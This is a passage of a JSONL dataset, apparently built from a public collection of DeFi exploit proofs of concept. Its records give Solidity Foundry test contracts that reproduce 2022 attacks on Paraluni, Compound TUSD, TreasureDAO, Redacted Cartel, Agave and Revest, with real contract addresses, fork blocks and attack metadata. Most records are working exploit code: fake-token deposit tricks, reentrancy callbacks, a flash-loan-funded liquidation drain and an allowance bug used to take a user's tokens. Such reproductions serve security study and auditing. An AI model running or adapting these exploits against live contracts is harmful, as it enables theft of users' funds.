"", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6.56, "quality_estimate": "medium", "title": "HundredFinance Exploit (2022-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract EvilToken {\n IMasterChef masterchef;\n IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n\n constructor(\n IMasterChef _masterchef\n ) {\n masterchef = _masterchef;\n }\n\n function allowance(address owner, address spender) external view returns (uint256) {\n return 2 ** 256 - 1;\n }\n\n function balanceOf(\n address account\n ) external view returns (uint256) {\n return 1111;\n }\n\n function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n if (address(masterchef) != address(0) && address(msg.sender) != address(masterchef)) {\n usdt.approve(address(masterchef), 2 ** 256 - 1);\n busd.approve(address(masterchef), 2 ** 256 - 1);\n masterchef.depositByAddLiquidity(\n 18, [address(usdt), address(busd)], [usdt.balanceOf(address(this)), busd.balanceOf(address(this))]\n );\n }\n return true;\n }\n\n function redeem() external {\n (uint256 _amount,) = masterchef.userInfo(18, address(this));\n masterchef.withdrawAndRemoveLiquidity(18, _amount, false);\n usdt.transfer(msg.sender, usdt.balanceOf(address(this)));\n busd.transfer(msg.sender, busd.balanceOf(address(this)));\n }\n}\n\ncontract ContractTest is Test {\n IPancakePair pair = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);\n IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IMasterChef masterchef = IMasterChef(0x633Fa755a83B015cCcDc451F82C57EA0Bd32b4B4);\n EvilToken token0;\n EvilToken token1;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 16_008_280); //fork bsc at block 16008280\n }\n\n function testExploit() public {\n token0 = new EvilToken(IMasterChef(address(0)));\n token1 = new EvilToken(masterchef);\n pair.swap(10_000 * 1e18, 10_000 * 1e18, address(this), new bytes(1));\n emit log_named_uint(\"Before exploit, Dai balance of attacker:\", usdt.balanceOf(msg.sender));\n emit log_named_uint(\"After exploit, Dai balance of attacker:\", busd.balanceOf(msg.sender));\n\n //iWithdraw.processExits(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n // emit log_named_uint(\"After exploit, Dai balance of attacker:\",idai.balanceOf(msg.sender));\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n usdt.transfer(address(token1), usdt.balanceOf(address(this)));\n busd.transfer(address(token1), busd.balanceOf(address(this)));\n masterchef.depositByAddLiquidity(18, [address(token0), address(token1)], [uint256(1), uint256(1)]);\n (uint256 _amount,) = masterchef.userInfo(18, address(this));\n masterchef.withdrawAndRemoveLiquidity(18, _amount, false);\n address[] memory t = new address[](2);\n t[0] = address(busd);\n t[1] = address(usdt);\n masterchef.withdrawChange(t);\n token1.redeem();\n usdt.transfer(msg.sender, ((amount0 / 9975) * 10_000) + 10_000);\n busd.transfer(msg.sender, ((amount1 / 9975) * 10_000) + 10_000);\n usdt.transfer(tx.origin, usdt.balanceOf(address(this)));\n busd.transfer(tx.origin, busd.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "Paraluni", "date": "2022-03", "file_name": "Paraluni_exp.sol", "attack_vector": null, "content_hash": "436779daaf731fc4", "collected_at": "2026-01-07T10:59:16.538726", "_source": "postmortems", "chain": "unknown", "block_number": 16008280, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n token0 = new EvilToken(IMasterChef(address(0)));\n token1 = new EvilToken(masterchef);\n pair.swap(10_000 * 1e18, 10_000 * 1e18, address(this), new bytes(1));\n emit log_named_uint(\"Before exploit, Dai balance of attacker:\", usdt.balanceOf(msg.sender));\n emit log_named_uint(\"After exploit, Dai balance of attacker:\", busd.balanceOf(msg.sender));\n\n //iWithdraw.processExits(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n // emit log_named_uint(\"After exploit, Dai balance of attacker:\",idai.balanceOf(msg.sender));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.85, "quality_estimate": "low", "title": "Paraluni Exploit (2022-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n ICErc20Delegate cTUSD = ICErc20Delegate(0x12392F67bdf24faE0AF363c24aC620a2f67DAd86);\n IERC20 tusd = IERC20(0x0000000000085d4780B73119b644AE5ecd22b376);\n address tusdLegacy = 0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_266_479); // fork mainnet at block 14266479\n }\n\n function testExample() public {\n emit log_named_uint(\"Before exploit, Compound TUSD balance:\", tusd.balanceOf(address(cTUSD)));\n cTUSD.sweepToken(tusdLegacy);\n emit log_named_uint(\"After exploit, Compound TUSD balance:\", tusd.balanceOf(address(cTUSD)));\n }\n}\n", "type": "exploit_poc", "protocol": "CompoundTusd", "date": "2022-03", "file_name": "CompoundTusd_exp.sol", "attack_vector": null, "content_hash": "9c463930ec3c6ca0", "collected_at": "2026-01-07T10:59:16.538772", "_source": "postmortems", "chain": "unknown", "block_number": 14266479, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExample() public {\n emit log_named_uint(\"Before exploit, Compound TUSD balance:\", tusd.balanceOf(address(cTUSD)));\n cTUSD.sweepToken(tusdLegacy);\n emit log_named_uint(\"After exploit, Compound TUSD balance:\", tusd.balanceOf(address(cTUSD)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.44, "quality_estimate": "low", "title": "CompoundTusd Exploit (2022-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n ITreasureMarketplaceBuyer itreasure = ITreasureMarketplaceBuyer(0x812cdA2181ed7c45a35a691E0C85E231D218E273);\n IERC721 iSmolBrain = IERC721(0x6325439389E0797Ab35752B4F43a14C004f22A9c);\n uint256 tokenId = 3557;\n address nftOwner;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"arbitrum\", 7_322_694); //fork arbitrum at block 7322694\n }\n\n function testExploit() public {\n nftOwner = iSmolBrain.ownerOf(tokenId);\n emit log_named_address(\"Original NFT owner of SmolBrain:\", nftOwner);\n itreasure.buyItem(0x6325439389E0797Ab35752B4F43a14C004f22A9c, 3557, nftOwner, 0, 6_969_000_000_000_000_000_000);\n\n emit log_named_address(\"Exploit completed, NFT owner of SmolBrain:\", iSmolBrain.ownerOf(tokenId));\n }\n\n function onERC721Received(address, address, uint256, bytes memory) public virtual returns (bytes4) {\n return this.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "TreasureDAO", "date": "2022-03", "file_name": "TreasureDAO_exp.sol", "attack_vector": null, "content_hash": "becd624c55818705", "collected_at": "2026-01-07T10:59:16.538806", "_source": "postmortems", "chain": "unknown", "block_number": 7322694, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n nftOwner = iSmolBrain.ownerOf(tokenId);\n emit log_named_address(\"Original NFT owner of SmolBrain:\", nftOwner);\n itreasure.buyItem(0x6325439389E0797Ab35752B4F43a14C004f22A9c, 3557, nftOwner, 0, 6_969_000_000_000_000_000_000);\n\n emit log_named_address(\"Exploit completed, NFT owner of SmolBrain:\", iSmolBrain.ownerOf(tokenId));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.58, "quality_estimate": "low", "title": "TreasureDAO Exploit (2022-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\nRedacted Cartel Custom Approval Logic Exploit PoC\n\nThe vulnerability would have allowed a malicious attacker to assign a user\u2019s allowance to themselves, enabling the attacker to steal that user\u2019s funds.\n\na faulty implementation of standard transferFrom() ERC-20 function in wxBTRFLY token.\n*/\ncontract RedactedCartelExploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IRedactedCartelSafeERC20 wxBTRFLY = IRedactedCartelSafeERC20(0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C);\n\n address Alice = 0x9ee1873ba8383B1D4ac459aBd3c9C006Eaa8800A;\n address AliceContract = 0x0f41d34B301E24E549b7445B3f620178bff331be;\n address Bob = 0x78186702Bd66905845B469E3b76d4FD63F8722d4;\n address owner = 0x20B92862dcb9976E0AA11fAE766343B7317aB349; //owner of wxBTRFLY token\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 13_908_185); //13908185\n\n // cheat.label(address(Alice), \"Alice\");\n // cheat.label(address(AliceContract), \"AliceContract\");\n // cheat.label(address(Bob), \"Bob\");\n // cheat.label(address(owner), \"wxBTRFLYOwner\");\n }\n\n function testExploit() public {\n //quick hack to bypass the \"onlyAuthorisedOperators\" modifier\n cheats.prank(owner);\n wxBTRFLY.unFreezeToken();\n\n console.log(\"Before the Exploit !\");\n console.log(\"Alice wxBTRFLY Token Balance: \", wxBTRFLY.balanceOf(Alice));\n console.log(\"Bob wxBTRFLY Token Balance: \", wxBTRFLY.balanceOf(Bob));\n console.log(\"--------------------------------------------------\");\n\n // Step 1: Alice approves an address to spend wxBTRFLY Token on her behalf\n cheats.prank(Alice);\n wxBTRFLY.approve(AliceContract, 89_011_248_549_237_373_700); // wxBTRFLY.balanceOf(Alice)\n console.log(\"wxBTRFLY Allowance of Alice->AliceContract : \", wxBTRFLY.allowance(Alice, AliceContract));\n console.log(\"wxBTRFLY Allowance of Alice->Bob(Before transferFrom): \", wxBTRFLY.allowance(Alice, Bob));\n\n /*\n Custom vulnerable transferFrom function of wxBTRFLY token\n\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override onlyAuthorisedOperators returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(sender, msg.sender, allowance(sender, recipient ).sub(amount, \"ERC20: transfer amount exceeds allowance\"));\n return true;\n }\n */\n\n // Step 2: Bob calls wxBTRFLY.transferFrom(Alice, aliceContract, 0),\n // No transfer happens, but due to the allowance bug, Bob gets an allowance for Alice\u2019s money\n cheats.prank(Bob);\n //_approve(Alice, Bob, allowance(Alice, AliceContract ).sub(0)\n wxBTRFLY.transferFrom(Alice, AliceContract, 0);\n console.log(\"wxBTRFLY Allowance of Alice->Bob(After transferFrom): \", wxBTRFLY.allowance(Alice, Bob));\n\n //post-hack\n cheats.prank(Bob);\n wxBTRFLY.transferFrom(Alice, Bob, 89_011_248_549_237_373_700); // wxBTRFLY.balanceOf(Alice)\n\n console.log(\"--------------------------------------------------\");\n console.log(\"After the Exploit !\");\n console.log(\"Alice wxBTRFLY Token Balance: \", wxBTRFLY.balanceOf(Alice));\n console.log(\"Bob wxBTRFLY Token Balance: \", wxBTRFLY.balanceOf(Bob));\n }\n}\n", "type": "exploit_poc", "protocol": "RedactedCartel", "date": "2022-03", "file_name": "RedactedCartel_exp.sol", "attack_vector": null, "content_hash": "7c13338b2fb17afe", "collected_at": "2026-01-07T10:59:16.538866", "_source": "postmortems", "chain": "unknown", "block_number": 13908185, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n //quick hack to bypass the \"onlyAuthorisedOperators\" modifier\n cheats.prank(owner);\n wxBTRFLY.unFreezeToken();\n\n console.log(\"Before the Exploit !\");\n console.log(\"Alice wxBTRFLY Token Balance: \", wxBTRFLY.balanceOf(Alice));\n console.log(\"Bob wxBTRFLY Token Balance: \", wxBTRFLY.balanceOf(Bob));\n console.log(\"--------------------------------------------------\");\n\n // Step 1: Alice approves an address to spend wxBTRFLY Token on her behalf\n cheats.prank(Alice);\n wxBTRFLY.approve(AliceContract, 89_011_248_549_237_373_700); // wxBTRFLY.balanceOf(Alice)\n console.log(\"wxBTRFLY Allowance of Alice->AliceContract : \", wxBTRFLY.allowance(Alice, AliceContract));\n console.log(\"wxBTRFLY Allowance of Alice->Bob(Before transferFrom): \", wxBTRFLY.allowance(Alice, Bob));\n\n /*\n Custom vulnerable transferFrom function of wxBTRFLY token", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.75, "quality_estimate": "low", "title": "RedactedCartel Exploit (2022-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IGnosisBridgedAsset is IERC20 {\n function mint(address, uint256) external returns (bool);\n}\n\n// @KeyInfo - Total Lost : ~1.5M US$\n// Attacker : https://gnosisscan.io/address/0x0a16a85be44627c10cee75db06b169c7bc76de2c\n// Attack Contract : https://gnosisscan.io/address/0xF98169301B06e906AF7f9b719204AA10D1F160d6\n// Vulnerable Contract : https://gnosisscan.io/address/0x207E9def17B4bd1045F5Af2C651c081F9FDb0842 (Agave lending pool v1)\n// Attack Tx : https://gnosisscan.io/tx/0xa262141abcf7c127b88b4042aee8bf601f4f3372c9471dbd75cb54e76524f18e\n\n// @Info\n// Vulnerable Contract Code : https://github.com/Agave-DAO/protocol-v2/commit/31922797ba110ddb3e908936b940b40221b7e190#diff-d237d9f48e3d6657a5f94c89b903c5003cba6f9a286e26eff509cb44a3f4ee8f\n\n// @Analysis\n// Post-mortem :https://medium.com/agavefinance/agave-exploit-reentrancy-in-liquidation-call-51ae407bc56\n// Twitter Guy : https://twitter.com/Mudit__Gupta/status/1503783633877827586\n\n/*\nDetailed explanation of the agave exploit attack flow:\n\n1. Prepare Phase:\n - Initial Condition: Ensure that the health factor is slightly above 1.\n - Transition: Advance time by one hour after the initial prepare.\n - Objective: Reduce the health factor to less than 1 in the next block.\n - Purpose: This step is essential for the liquidation call to work, as it requires a health factor below 1.\n\n2. Flashloan and Deposit Phase:\n - Action: Execute a flashloan and deposit tokens.\n - Exploited Assets: In this exploit, withdraw and borrow all funds from WETH and maximize borrowing from all available pools.\n\n3. Exploit Completion:\n - Result: Successful execution drains funds from the lending pool.\n\nNote: These concise steps outline the specific actions taken in each phase of the agave exploit, providing a clear understanding of the attack flow.\n*/\n\ncontract AgaveExploit is Test {\n //Prepare numbers\n uint256 linkLendNum1 = 1.0000000000000002 ether;\n uint256 wethlendnum2 = 1;\n uint256 linkDebt3 = 0.7 ether;\n uint256 wethDebt4 = 1;\n uint256 linkWithdraw5 = 0.06666666666 ether;\n\n uint256 callCount = 0;\n uint256 wethLiqBeforeHack = 0;\n\n //Asset addrs\n address aweth = 0xb5A165d9177555418796638447396377Edf4C18a;\n address gno = 0x9C58BAcC331c9aa871AFD802DB6379a98e80CEdb;\n address weth = 0x6A023CCd1ff6F2045C3309768eAd9E68F978f6e1;\n address link = 0xE2e73A1c69ecF83F464EFCE6A5be353a37cA09b2;\n address wbtc = 0x8e5bBbb09Ed1ebdE8674Cda39A0c169401db4252;\n address usdc = 0xDDAfbb505ad214D7b80b1f830fcCc89B60fb7A83;\n address wxdai = 0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d;\n\n // Array of assets with weth at the end\n address[] assetAddrs;\n string[] assetNames = [\"USDC\", \"GNO\", \"LINK\", \"WBTC\", \"WXDAI\", \"WETH\", \"aWETH\"];\n uint8[] assetDecimals = [6, 18, 18, 8, 18, 18, 18];\n\n address provider = 0xA91B9095eFa6C0568467562032202108e49c9Ef8;\n //Address that can mint tokens on gnosis bridge\n address tokenOwner = 0xf6A78083ca3e2a662D6dd1703c939c8aCE2e268d;\n\n //Asset interfaces\n IGnosisBridgedAsset WETH = IGnosisBridgedAsset(weth);\n IGnosisBridgedAsset LINK = IGnosisBridgedAsset(link);\n\n // Contract / exchange interfaces\n ILendingPool lendingPool;\n\n uint256 ethFlashloanAmt = 2728.934387414251504146 ether + 1;\n\n modifier balanceLog() {\n _logBalances(\"Before hack balances\");\n _;\n _logBalances(\"After hack balances\");\n }\n\n modifier boostLTVHack() {\n lendingPool.deposit(weth, WETH.balanceOf(address(this)) - 1, address(this), 0);\n _;\n //We borrow directly here cause of some edge case the _borrow fails for weth\n lendingPool.borrow(weth, wethLiqBeforeHack, 2, 0, address(this));\n }\n\n function _getTokenBal(\n address asset\n ) internal view returns (uint256) {\n return IERC20(asset).balanceOf(address(this));\n }\n\n function _logBalances(\n string memory message\n ) internal {\n console.log(message);\n console.log(\"--- Start of balances ---\");\n \n for (uint i = 0; i < assetAddrs.length; i++) {\n emit log_named_decimal_uint(\n string.concat(assetNames[i], \" Balance\"), \n _getTokenBal(assetAddrs[i]), \n assetDecimals[i]\n );\n }\n \n emit log_named_decimal_uint(\"healthf\", _getHealthFactor(), 18);\n console.log(\"--- End of balances ---\");\n }\n\n function setUp() public {\n vm.createSelectFork(\"gnosis\", 21_120_283); //fork gnosis at block number 21120319\n lendingPool = ILendingPool(ILendingPoolAddressesProvider(provider).getLendingPool());\n wethLiqBeforeHack = _getAvailableLiquidity(weth);\n\n // Initialize asset array\n assetAddrs = new address[](7);\n assetAddrs[0] = usdc;\n assetAddrs[1] = gno;\n assetAddrs[2] = link;\n assetAddrs[3] = wbtc;\n assetAddrs[4] = wxdai;\n assetAddrs[5] = weth;\n assetAddrs[6] = aweth;\n\n //Lets just mint weth to this contract for initial debt\n vm.startPrank(tokenOwner);\n \n //Mint initial weth funding\n WETH.mint(address(this), ethFlashloanAmt);\n // Mint LINK funding\n LINK.mint(address(this), linkLendNum1);\n\n vm.stopPrank();\n\n //Approve funds\n LINK.approve(address(lendingPool), type(uint256).max);\n WETH.approve(address(lendingPool), type(uint256).max);\n }\n\n function _getAvailableLiquidity(\n address asset\n ) internal view returns (uint256 reserveTokenbal) {\n DataTypesAave.ReserveData memory data = lendingPool.getReserveData(asset);\n reserveTokenbal = IERC20(asset).balanceOf(address(data.aTokenAddress));\n }\n\n function _getHealthFactor() internal view returns (uint256) {\n (,,,,, uint256 healthFactor) = lendingPool.getUserAccountData(address(this));\n return healthFactor;\n }\n\n function _initHF() internal {\n //follow the flow of this TX https://gnosisscan.io/tx/0x45b2d71f5bbb17fa67341fdf30468f1de032db71760be0cf4df9bac316cda7cc\n\n uint256 balance = LINK.balanceOf(address(this));\n require(balance > 0, \"no link\");\n\n //Deposit weth to aave v2 fork\n lendingPool.deposit(link, linkLendNum1, address(this), 0);\n lendingPool.deposit(weth, wethlendnum2, address(this), 0);\n\n //Enable asset as collateral\n\n lendingPool.setUserUseReserveAsCollateral(link, true);\n lendingPool.setUserUseReserveAsCollateral(weth, true);\n\n //Borrow initial setup prepare debts\n lendingPool.borrow(link, linkDebt3, 2, 0, address(this));\n lendingPool.borrow(weth, wethDebt4, 2, 0, address(this));\n\n //Withdraw as per tx\n lendingPool.withdraw(link, linkWithdraw5, address(this));\n }\n\n function testExploit() public balanceLog {\n //Call prepare and get it setup\n _initHF();\n _flashWETH();\n }\n\n function _flashWETH() internal {\n uniswapV2Call(address(this), ethFlashloanAmt, 0, abi.encode(msg.sender));\n }\n\n function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes memory _data) public {\n //We simulate a flashloan from uniswap for initial eth funding\n _attackLogic(_amount0, _amount1, _data);\n }\n\n function _attackLogic(uint256 _amount0, uint256 _amount1, bytes memory _data) internal {\n //This will fast forward block number and timestamp to cause hf to be lower due to interest on loan pushing hf below one\n vm.warp(block.timestamp + 1 hours);\n vm.roll(block.number + 1);\n //This will start the reentrancy with ontokentransfer call on .burn of the atoken\n lendingPool.liquidationCall(weth, weth, address(this), 2, false);\n //This will withdraw the funds from weth lending pool\n lendingPool.withdraw(weth, _getTokenBal(aweth), address(this));\n //For test case we just send it to address(1) to reduce the flashloan debt amount from us to get final assets\n WETH.transfer(address(1), ((ethFlashloanAmt * 1000) / 997) + 1);\n }\n\n function _borrow(\n address asset\n ) internal {\n uint256 reserveTokenbal = _getAvailableLiquidity(asset);\n uint256 BorrowAmount = reserveTokenbal > 2 ? reserveTokenbal - 1 : 0;\n if (BorrowAmount > 0) lendingPool.borrow(asset, BorrowAmount, 2, 0, address(this));\n }\n\n //NOTE: boostLTVHack deposits weth from flashloan to increase health and borrows wethliqbeforehack at the end\n function borrowTokens() internal boostLTVHack {\n // Borrow all assets except weth (which is at index 5)\n for (uint i = 0; i < 5; i++) {\n _borrow(assetAddrs[i]);\n }\n }\n\n function onTokenTransfer(address _from, uint256 _value, bytes memory _data) external {\n if (_from == aweth && _value == 1) {\n callCount++;\n if (callCount == 2) {\n borrowTokens();\n }\n }\n }\n}\n", "type": "exploit_poc", "protocol": "Agave", "date": "2022-03", "file_name": "Agave_exp.sol", "attack_vector": "flash_loan", "content_hash": "f59704de6f414262", "collected_at": "2026-01-07T10:59:16.538924", "_source": "postmortems", "chain": "unknown", "block_number": 21120283, "total_lost_raw": "~1.5M US$", "total_lost_usd": 1500000.0, "attacker_address": "https://gnosisscan.io/address/0x0a16a85be44627c10cee75db06b169c7bc76de2c", "attack_contract": "https://gnosisscan.io/address/0xF98169301B06e906AF7f9b719204AA10D1F160d6", "vulnerable_contract": "https://gnosisscan.io/address/0x207E9def17B4bd1045F5Af2C651c081F9FDb0842", "attack_tx": "https://gnosisscan.io/tx/0xa262141abcf7c127b88b4042aee8bf601f4f3372c9471dbd75cb54e76524f18e", "postmortem_url": "https://medium.com/agavefinance/agave-exploit-reentrancy-in-liquidation-call-51ae407bc56", "twitter_url": "https://twitter.com/Mudit__Gupta/status/1503783633877827586", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~1.5M US$", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n //Call prepare and get it setup\n _initHF();\n _flashWETH();\n }", "has_exploit_code": true, "keyinfo_total_lost": "~1.5M US$", "keyinfo_attacker": "https://gnosisscan.io/address/0x0a16a85be44627c10cee75db06b169c7bc76de2c", "keyinfo_attack_contract": "https://gnosisscan.io/address/0xF98169301B06e906AF7f9b719204AA10D1F160d6", "keyinfo_vulnerable_contract": "https://gnosisscan.io/address/0x207E9def17B4bd1045F5Af2C651c081F9FDb0842", "keyinfo_attack_tx": "https://gnosisscan.io/tx/0xa262141abcf7c127b88b4042aee8bf601f4f3372c9471dbd75cb54e76524f18e", "analysis_postmortem": "https://medium.com/agavefinance/agave-exploit-reentrancy-in-liquidation-call-51ae407bc56", "analysis_twitter": "https://twitter.com/Mudit__Gupta/status/1503783633877827586", "funds_lost_formatted": "$1.50M", "content_richness_score": 10, "quality_estimate": "high", "title": "Agave Exploit (2022-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IUniswapV2Pair pair = IUniswapV2Pair(0xbC2C5392b0B841832bEC8b9C30747BADdA7b70ca);\n IERC20 rena = IERC20(0x56de8BC61346321D4F2211e3aC3c0A7F00dB9b76);\n IRevest revest = IRevest(0x2320A28f52334d62622cc2EaFa15DE55F9987eD9);\n uint256 fnftId;\n bool reentered = false;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_465_356); //fork mainnet at 14465356\n }\n\n function testExploit() public {\n emit log_named_uint(\"Before exploit, Rena balance of attacker:\", rena.balanceOf(msg.sender));\n pair.swap(5 * 1e18, 0, address(this), new bytes(1));\n emit log_named_uint(\"After exploit, Rena balance of attacker:\", rena.balanceOf(msg.sender));\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n rena.approve(address(revest), type(uint256).max);\n IRevest.FNFTConfig memory fnftConfig;\n fnftConfig.asset = address(rena);\n fnftConfig.pipeToContract = 0x0000000000000000000000000000000000000000;\n fnftConfig.depositAmount = 0;\n fnftConfig.depositMul = 0;\n fnftConfig.split = 0;\n fnftConfig.depositStopTime = 0;\n fnftConfig.maturityExtension = false;\n fnftConfig.isMulti = true;\n fnftConfig.nontransferrable = false;\n\n address[] memory recipients = new address[](1);\n uint256[] memory quantities = new uint256[](1);\n recipients[0] = address(this);\n quantities[0] = uint256(2);\n fnftId = revest.mintAddressLock(address(this), new bytes(0), recipients, quantities, fnftConfig);\n quantities[0] = uint256(360_000);\n revest.mintAddressLock(address(this), new bytes(0), recipients, quantities, fnftConfig);\n\n revest.withdrawFNFT(fnftId + 1, 360_000 + 1);\n\n rena.transfer(msg.sender, ((((amount0 / 997) * 1000) / 99) * 100) + 1000);\n rena.transfer(tx.origin, rena.balanceOf(address(this)));\n }\n\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) public returns (bytes4) {\n if (id == fnftId + 1 && !reentered) {\n reentered = true;\n revest.depositAdditionalToFNFT(fnftId, 1e18, 1);\n }\n return this.onERC1155Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "Revest", "date": "2022-03", "file_name": "Revest_exp.sol", "attack_vector": "reentrancy", "content_hash": "46b9e755db3871c6", "collected_at": "2026-01-07T10:59:16.538997", "_source": "postmortems", "chain": "unknown", "block_number": 14465356, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "reentrancy", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Before exploit, Rena balance of attacker:\", rena.balanceOf(msg.sender));\n pair.swap(5 * 1e18, 0, address(this), new bytes(1));\n emit log_named_uint(\"After exploit, Rena balance of attacker:\", rena.balanceOf(msg.sender));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.33, "quality_estimate": "low", "title": "Revest Exploit (2022-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"./../interface.sol\";\n\ncontract MockACOToken {\n function collateral() public view returns (address) {\n return address(0);\n }\n\n function mintToPayable(\n address account\n ) external payable returns (uint256) {\n return 1;\n 